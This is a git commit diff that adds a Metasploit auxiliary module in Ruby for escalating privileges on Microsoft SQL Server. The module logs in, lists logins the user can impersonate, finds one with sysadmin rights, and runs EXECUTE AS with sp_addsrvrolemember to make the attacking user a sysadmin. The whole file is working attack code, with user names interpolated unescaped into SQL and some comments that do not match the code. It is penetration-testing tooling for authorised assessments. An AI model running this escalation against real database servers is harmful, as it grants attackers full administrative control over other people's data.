added mssql_escalate_executeas module
parent
50a2f4c2a7
commit
fbe3adcb4c
|
@ -0,0 +1,157 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/mssql_commands'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS',
|
||||||
|
'Description' => %q{
|
||||||
|
This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user.
|
||||||
|
In most cases this results in additional data access, but in some cases it can be used to gain sysadmin
|
||||||
|
privileges.
|
||||||
|
},
|
||||||
|
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
# Check connection and issue initial query
|
||||||
|
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
|
||||||
|
if mssql_login_datastore
|
||||||
|
print_good('Connected.')
|
||||||
|
else
|
||||||
|
print_error('Login was unsuccessful. Check your credentials.')
|
||||||
|
disconnect
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Query for sysadmin status
|
||||||
|
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
|
||||||
|
user_status = check_sysadmin
|
||||||
|
|
||||||
|
# Check if user has sysadmin role
|
||||||
|
if user_status == 1
|
||||||
|
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
|
||||||
|
disconnect
|
||||||
|
return
|
||||||
|
else
|
||||||
|
print_status("You're NOT a sysadmin, let's try to change that.")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Get a list of the users that can be impersonated
|
||||||
|
print_status("Enumerating a list of users that can be impersonated...")
|
||||||
|
imp_user_list = check_imp_users
|
||||||
|
if imp_user_list.nil? || imp_user_list.length == 0
|
||||||
|
print_error('Sorry, the current user doesnt have permissions to impersonate anyone.')
|
||||||
|
disconnect
|
||||||
|
return
|
||||||
|
else
|
||||||
|
# Display list of accessible databases to user
|
||||||
|
print_good("#{imp_user_list.length} users can be impersonated:")
|
||||||
|
imp_user_list.each do |db|
|
||||||
|
print_status(" - #{db[0]}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check if any of the users that can be impersonated are sysadmins
|
||||||
|
print_status('Checking if any of them are sysadmins...')
|
||||||
|
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
|
||||||
|
if imp_user_sysadmin.nil?
|
||||||
|
print_error("Sorry, none of the users that can be impersonated are sysadmins.")
|
||||||
|
disconnect
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Attempt to escalate to sysadmin
|
||||||
|
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
|
||||||
|
escalate_status = escalate_privs(imp_user_sysadmin[0])
|
||||||
|
if escalate_status
|
||||||
|
# Check if escalation was successful
|
||||||
|
user_status = check_sysadmin
|
||||||
|
if user_status == 1
|
||||||
|
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
|
||||||
|
else
|
||||||
|
print_error("Fail buckets, something went wrong.")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Error while trying to escalate privileges.")
|
||||||
|
end
|
||||||
|
|
||||||
|
disconnect
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks if user is a sysadmin
|
||||||
|
def check_sysadmin
|
||||||
|
# Setup query to check for sysadmin
|
||||||
|
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
|
||||||
|
|
||||||
|
# Run query
|
||||||
|
result = mssql_query(sql)
|
||||||
|
|
||||||
|
# Parse query results
|
||||||
|
parse_results = result[:rows]
|
||||||
|
status = parse_results[0][0]
|
||||||
|
|
||||||
|
# Return status
|
||||||
|
return status
|
||||||
|
end
|
||||||
|
|
||||||
|
# Gets trusted databases owned by sysadmins
|
||||||
|
def check_imp_users
|
||||||
|
# Setup query
|
||||||
|
sql = "SELECT DISTINCT b.name
|
||||||
|
FROM sys.server_permissions a
|
||||||
|
INNER JOIN sys.server_principals b
|
||||||
|
ON a.grantor_principal_id = b.principal_id
|
||||||
|
WHERE a.permission_name = 'IMPERSONATE'"
|
||||||
|
|
||||||
|
result = mssql_query(sql)
|
||||||
|
|
||||||
|
# Return on success
|
||||||
|
return result[:rows]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks if user has the db_owner role
|
||||||
|
def check_imp_sysadmin(trust_db_list)
|
||||||
|
# Check if the user has the db_owner role is any databases
|
||||||
|
trust_db_list.each do |imp_user|
|
||||||
|
# Setup query
|
||||||
|
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
|
||||||
|
|
||||||
|
# Run query
|
||||||
|
result = mssql_query(sql)
|
||||||
|
|
||||||
|
# Parse query results
|
||||||
|
parse_results = result[:rows]
|
||||||
|
status = parse_results[0][0]
|
||||||
|
if status == 1
|
||||||
|
print_good(" - #{imp_user[0]} is a sysadmin!")
|
||||||
|
return imp_user
|
||||||
|
else
|
||||||
|
print_status(" - #{imp_user[0]} is NOT sysadmin!")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def escalate_privs(imp_user_sysadmin)
|
||||||
|
# Create the evil stored procedure WITH EXECUTE AS OWNER
|
||||||
|
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
|
||||||
|
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
|
||||||
|
|
||||||
|
mssql_query(evil_sql_create)
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue